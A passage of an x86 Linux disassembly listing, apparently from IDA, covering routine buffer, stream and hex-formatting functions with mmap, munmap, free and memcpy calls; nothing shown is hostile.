					; sub_0_8060BD8+87j
		inc	ebx
		cmp	[ebp+arg_0], ebx
		jle	loc_0_8060D13
		nop	

loc_0_8060C70:				; CODE XREF: sub_0_8060BD8+48j
					; sub_0_8060BD8+135j
		mov	al, [esi]
		shr	al, 4
		and	eax, 0FFh
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_0_8060C88
		add	al, 30h
		jmp	short loc_0_8060C8A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060C88:				; CODE XREF: sub_0_8060BD8+A8j
		add	al, 37h

loc_0_8060C8A:				; CODE XREF: sub_0_8060BD8+ACj
		mov	[ecx], al
		mov	al, [esi]
		and	eax, 0Fh
		inc	esi
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_0_8060CA0
		add	al, 30h
		jmp	short loc_0_8060CA2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060CA0:				; CODE XREF: sub_0_8060BD8+C0j
		add	al, 37h

loc_0_8060CA2:				; CODE XREF: sub_0_8060BD8+C4j
		mov	[ecx], al
		test	bl, 1
		jnz	short loc_0_8060CB5
		lea	eax, [ebx+1]
		cmp	[ebp+arg_0], eax
		jle	short loc_0_8060CB5
		mov	byte ptr [edx],	2Eh
		inc	edx

loc_0_8060CB5:				; CODE XREF: sub_0_8060BD8+CFj
					; sub_0_8060BD8+D7j
		lea	edi, [ebx+1]
		mov	[ebp+var_8], edi
		mov	al, [esi]
		shr	al, 4
		and	eax, 0FFh
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_0_8060CD4
		add	al, 30h
		jmp	short loc_0_8060CD6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060CD4:				; CODE XREF: sub_0_8060BD8+F3j
		add	al, 37h

loc_0_8060CD6:				; CODE XREF: sub_0_8060BD8+F7j
		mov	[ecx], al
		mov	al, [esi]
		and	eax, 0Fh
		inc	esi
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_0_8060CEC
		add	al, 30h
		jmp	short loc_0_8060CEE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060CEC:				; CODE XREF: sub_0_8060BD8+10Cj
		add	al, 37h

loc_0_8060CEE:				; CODE XREF: sub_0_8060BD8+110j
		mov	[ecx], al
		mov	edi, [ebp+var_8]
		test	edi, 1
		jnz	short loc_0_8060D07
		mov	eax, edi
		inc	eax
		cmp	[ebp+arg_0], eax
		jle	short loc_0_8060D07
		mov	byte ptr [edx],	2Eh
		inc	edx

loc_0_8060D07:				; CODE XREF: sub_0_8060BD8+121j
					; sub_0_8060BD8+129j
		add	ebx, 2
		cmp	[ebp+arg_0], ebx
		jg	loc_0_8060C70

loc_0_8060D13:				; CODE XREF: sub_0_8060BD8+39j
					; sub_0_8060BD8+91j
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8060BD8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806180C	proc near		; CODE XREF: sub_0_80618D4+Ep
					; sub_0_8061A70+2Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFEFFh
		mov	ecx, [eax+8]
		mov	edx, [eax+2Ch]
		mov	[eax+8], edx
		mov	[eax+2Ch], ecx
		mov	ecx, [eax+0Ch]
		mov	edx, [eax+24h]
		mov	[eax+0Ch], edx
		mov	[eax+24h], ecx
		mov	edx, [eax+0Ch]
		mov	[eax+4], edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806180C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806183C	proc near		; CODE XREF: .text:0806234Fp
					; sub_0_80623B8+25p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 100h
		mov	ecx, [eax+8]
		mov	edx, [eax+2Ch]
		mov	[eax+8], edx
		mov	[eax+2Ch], ecx
		mov	ecx, [eax+0Ch]
		mov	edx, [eax+24h]
		mov	[eax+0Ch], edx
		mov	[eax+24h], ecx
		mov	edx, [eax+8]
		mov	[eax+4], edx
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806183C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80618D4	proc near		; CODE XREF: sub_0_8061A70+63p
					; .text:08061B53p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	byte ptr [ebx+1], 1
		jz	short loc_0_80618EA
		push	ebx
		call	sub_0_806180C
		add	esp, 4

loc_0_80618EA:				; CODE XREF: sub_0_80618D4+Bj
		call	free([ebx+24h])
		mov	dword ptr [ebx+24h], 0
		mov	dword ptr [ebx+2Ch], 0
		mov	dword ptr [ebx+28h], 0
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80618D4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8061910	proc near		; CODE XREF: sub_0_804F820+46p
					; sub_0_804F888+BEAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ecx, [edx+50h]
		push	eax
		push	edx
		mov	eax, [ecx+14h]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8061910	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8061B6C	proc near		; CODE XREF: sub_0_8052E80+61p
					; .text:08053029p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_0_8061B96
		test	byte ptr [ebx],	1
		jnz	short loc_0_8061B96
		call	munmap([ebx+1Ch],[ebx+20h]-[ebx+1Ch])

loc_0_8061B96:				; CODE XREF: sub_0_8061B6C+13j
					; sub_0_8061B6C+18j
		mov	[ebx+1Ch], esi
		mov	[ebx+20h], edi
		cmp	[ebp+arg_C], 0
		jz	short loc_0_8061BA8
		and	dword ptr [ebx], 0FFFFFFFEh
		jmp	short loc_0_8061BAB
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8061BA8:				; CODE XREF: sub_0_8061B6C+34j
		or	byte ptr [ebx],	1

loc_0_8061BAB:				; CODE XREF: sub_0_8061B6C+39j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8061B6C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8061BB8	proc near		; CODE XREF: .text:0806108Bp
					; .text:08061139p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_0_8061BEB
		test	byte ptr [ebx],	2
		jnz	short loc_0_8061BDB
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+64h]
		call	eax
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_8061BEB

loc_0_8061BDB:				; CODE XREF: sub_0_8061BB8+10j
		push	0
		lea	eax, [ebx+48h]
		push	eax
		lea	eax, [ebx+47h]
		push	eax
		push	ebx
		call	sub_0_8061B6C

loc_0_8061BEB:				; CODE XREF: sub_0_8061BB8+Bj
					; sub_0_8061BB8+21j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8061BB8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+1Ch]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_8061C20
		mov	eax, [ebx+4]
		movzx	eax, byte ptr [eax]
		inc	dword ptr [ebx+4]
		jmp	short loc_0_8061C25
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8061C20:				; CODE XREF: .text:08061C13j
		mov	eax, 0FFFFFFFFh

loc_0_8061C25:				; CODE XREF: .text:08061C1Ej
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8061C2C	proc near		; CODE XREF: .text:0806176Ep

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_4], edi
		test	edi, edi
		jnz	short loc_0_8061C4C
		xor	eax, eax
		jmp	loc_0_8061D22
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8061C4C:				; CODE XREF: sub_0_8061C2C+14j
					; sub_0_8061C2C+E9j
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+18h]
		sub	esi, [edi+14h]
		test	esi, esi
		jle	loc_0_8061CF6
		cmp	[ebp+var_4], esi
		jnb	short loc_0_8061C65
		mov	esi, [ebp+var_4]

loc_0_8061C65:				; CODE XREF: sub_0_8061C2C+34j
		cmp	esi, 14h
		jle	short loc_0_8061C84
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+14h]
		call	memcpy(eax,ebx,esi)
		add	ebx, esi
		add	[edi+14h], esi
		jmp	short loc_0_8061CF3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8061C84:				; CODE XREF: sub_0_8061C2C+3Cj
		test	esi, esi
		jg	short loc_0_8061C8C
		xor	esi, esi
		jmp	short loc_0_8061CF3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8061C8C:				; CODE XREF: sub_0_8061C2C+5Aj
		mov	edi, [ebp+arg_0]
		mov	edx, [edi+14h]
		lea	ecx, [esi-1]
		test	ecx, ecx
		jl	short loc_0_8061CED
		mov	eax, ecx
		not	eax
		and	eax, 3
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_0_8061CC3
		test	eax, eax
		jz	short loc_0_8061CCC
		cmp	eax, 3
		jge	short loc_0_8061CC3
		cmp	eax, 2
		jge	short loc_0_8061CBC
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		lea	ecx, [esi-2]

loc_0_8061CBC:				; CODE XREF: sub_0_8061C2C+85j
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		dec	ecx

loc_0_8061CC3:				; CODE XREF: sub_0_8061C2C+77j
					; sub_0_8061C2C+80j
		mov	al, [ebx]
		mov	[edx], al
		inc	ebx
		inc	edx
		dec	ecx
		js	short loc_0_8061CED

loc_0_8061CCC:				; CODE XREF: sub_0_8061C2C+7Bj
					; sub_0_8061C2C+BFj
		mov	al, [ebx]
		mov	[edx], al
		mov	al, [ebx+1]
		mov	[edx+1], al
		mov	al, [ebx+2]
		mov	[edx+2], al
		mov	al, [ebx+3]
		mov	[edx+3], al
		add	ebx, 4
		add	edx, 4
		add	ecx, 0FFFFFFFCh
		jns	short loc_0_8061CCC

loc_0_8061CED:				; CODE XREF: sub_0_8061C2C+6Bj
					; sub_0_8061C2C+9Ej
		mov	edi, [ebp+arg_0]
		mov	[edi+14h], edx

loc_0_8061CF3:				; CODE XREF: sub_0_8061C2C+54j
					; sub_0_8061C2C+5Ej
		sub	[ebp+var_4], esi

loc_0_8061CF6:				; CODE XREF: sub_0_8061C2C+2Bj
		cmp	[ebp+var_4], 0
		jz	short loc_0_8061D1C
		movzx	eax, byte ptr [ebx]
		push	eax
		inc	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_0_8061910
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_8061D1C
		dec	[ebp+var_4]
		jmp	loc_0_8061C4C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8061D1C:				; CODE XREF: sub_0_8061C2C+CEj
					; sub_0_8061C2C+E4j
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]

loc_0_8061D22:				; CODE XREF: sub_0_8061C2C+18j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8061C2C	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8061E44	proc near		; CODE XREF: .text:08060F70p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	eax, [ebx+50h]
		push	ebx
		mov	eax, [eax+5Ch]
		call	eax
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_8061E68
		xor	eax, eax
		jmp	short loc_0_8061EBC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8061E68:				; CODE XREF: sub_0_8061E44+1Ej
		test	esi, esi
		jz	short loc_0_8061E70
		test	edi, edi
		jnz	short loc_0_8061E80

loc_0_8061E70:				; CODE XREF: sub_0_8061E44+26j
		or	byte ptr [ebx],	2
		push	0
		lea	eax, [ebx+48h]
		push	eax
		lea	eax, [ebx+47h]
		push	eax
		jmp	short loc_0_8061E8A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8061E80:				; CODE XREF: sub_0_8061E44+2Aj
		and	dword ptr [ebx], 0FFFFFFFDh
		push	0
		lea	eax, [edi+esi]
		push	eax
		push	esi

loc_0_8061E8A:				; CODE XREF: sub_0_8061E44+39j
		push	ebx
		call	sub_0_8061B6C
		mov	dword ptr [ebx+18h], 0
		mov	dword ptr [ebx+14h], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	eax, ebx

loc_0_8061EBC:				; CODE XREF: sub_0_8061E44+22j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8061E44	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		mov	ebx, [edx+50h]
		push	eax
		push	0
		push	ecx
		push	edx
		mov	eax, [ebx+44h]
		call	eax
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		call	mmap(0,400h,3,22h,-1,0)
		mov	edx, eax
		cmp	edx, 0FFFFFFFFh
		jz	short loc_0_8061F28
		push	1
		lea	eax, [edx+400h]
		push	eax
		push	edx
		push	ebx
		call	sub_0_8061B6C
		mov	eax, 1
		jmp	short loc_0_8061F2D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8061F28:				; CODE XREF: .text:08061F0Fj
		mov	eax, 0FFFFFFFFh

loc_0_8061F2D:				; CODE XREF: .text:08061F26j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	


	

	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8061FC0	proc near		; CODE XREF: .text:080531CEp
					; .text:08060E12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [ebx+1Ch], 0
		jz	short loc_0_8061FF3
		test	byte ptr [ebx],	1
		jnz	short loc_0_8061FF3
		call	munmap([ebx+1Ch],[ebx+20h]-[ebx+1Ch])
		mov	dword ptr [ebx+20h], 0
		mov	dword ptr [ebx+1Ch], 0

loc_0_8061FF3:				; CODE XREF: sub_0_8061FC0+Bj
					; sub_0_8061FC0+10j
		mov	eax, [ebx+30h]
		test	eax, eax
		jz	short loc_0_8062009
		lea	esi, [esi]

loc_0_8061FFC:				; CODE XREF: sub_0_8061FC0+47j
		mov	dword ptr [eax+4], 0
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_0_8061FFC

loc_0_8062009:				; CODE XREF: sub_0_8061FC0+38j
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_0_8062022
		call	free([ebx+24h])
		mov	dword ptr [ebx+24h], 0

loc_0_8062022:				; CODE XREF: sub_0_8061FC0+4Dj
		push	ebx
		call	sub_0_8061788
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8061FC0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebx+4]
		cmp	[ebx+0Ch], eax
		jnb	short loc_0_806205C
		cmp	[eax-1], dl
		jnz	short loc_0_806205C
		dec	dword ptr [ebx+4]
		movzx	eax, dl
		jmp	short loc_0_8062066
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806205C:				; CODE XREF: .text:0806204Cj
					; .text:08062051j
		mov	eax, [ebx+50h]
		push	edx
		push	ebx
		mov	eax, [eax+2Ch]
		call	eax

loc_0_8062066:				; CODE XREF: .text:08062059j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_806206E
		and	dword ptr [ebx], 0FFFFFFEFh

loc_0_806206E:				; CODE XREF: .text:08062069j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx+4]
		cmp	[ebx+0Ch], eax
		jnb	short loc_0_8062094
		dec	dword ptr [ebx+4]
		mov	eax, [ebx+4]
		movzx	eax, byte ptr [eax]
		jmp	short loc_0_806209F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8062094:				; CODE XREF: .text:08062085j
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+2Ch]
		call	eax

loc_0_806209F:				; CODE XREF: .text:08062090j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_80620A7
		and	dword ptr [ebx], 0FFFFFFEFh

loc_0_80620A7:				; CODE XREF: .text:080620A2j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	dx, [ebp+0Ch]
		inc	dx
		mov	[eax+44h], dx
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8062188	proc near		; CODE XREF: sub_0_8055ECC+1Dp
					; sub_0_8055FBC+61p ...

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		xor	esi, esi
		mov	ebx, off_0_80787F8
		test	ebx, ebx
		jz	short loc_0_80621C3
		lea	esi, [esi+0]

loc_0_806219C:				; CODE XREF: sub_0_8062188+39j
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jnb	short loc_0_80621BC
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+14h]
		call	eax
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_80621BC
		mov	esi, 0FFFFFFFFh

loc_0_80621BC:				; CODE XREF: sub_0_8062188+1Aj
					; sub_0_8062188+2Dj
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_0_806219C

loc_0_80621C3:				; CODE XREF: sub_0_8062188+Fj
		mov	eax, esi
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8062188	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80621D0	proc near		; CODE XREF: .text:0806109Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, off_0_80787F8
		test	ebx, ebx
		jz	short loc_0_80621FB
		lea	esi, [esi]

loc_0_80621E0:				; CODE XREF: sub_0_80621D0+29j
		test	byte ptr [ebx+1], 2
		jz	short loc_0_80621F4
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+14h]
		call	eax
		add	esp, 8

loc_0_80621F4:				; CODE XREF: sub_0_80621D0+14j
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_0_80621E0

loc_0_80621FB:				; CODE XREF: sub_0_80621D0+Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80621D0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8062204	proc near		; CODE XREF: .text:08062240p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, off_0_80787F8
		test	ebx, ebx
		jz	short loc_0_8062230
		lea	esi, [esi]

loc_0_8062214:				; CODE XREF: sub_0_8062204+2Aj
		test	byte ptr [ebx],	2
		jnz	short loc_0_8062229
		mov	eax, [ebx+50h]
		push	0
		push	0
		push	ebx
		mov	eax, [eax+54h]
		call	eax
		add	esp, 0Ch

loc_0_8062229:				; CODE XREF: sub_0_8062204+13j
		mov	ebx, [ebx+34h]
		test	ebx, ebx
		jnz	short loc_0_8062214

loc_0_8062230:				; CODE XREF: sub_0_8062204+Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8062204	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		call	sub_0_8062188
		call	sub_0_8062204
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	[esi+4], ebx
		test	byte ptr [ebx+1], 8
		jz	short loc_0_8062266
		push	ebx
		call	sub_0_806186C

loc_0_8062266:				; CODE XREF: .text:0806225Ej
		test	byte ptr [ebx+1], 1
		jz	short loc_0_8062274
		mov	edx, [ebx+4]
		sub	edx, [ebx+8]
		jmp	short loc_0_806227A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8062274:				; CODE XREF: .text:0806226Aj
		mov	edx, [ebx+4]
		sub	edx, [ebx+0Ch]

loc_0_806227A:				; CODE XREF: .text:08062272j
		mov	[esi+8], edx
		mov	eax, [ebx+30h]
		mov	[esi], eax
		mov	[ebx+30h], esi
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	edx, [eax+4]
		add	edx, 30h
		cmp	dword ptr [edx], 0
		jz	short loc_0_80622B7
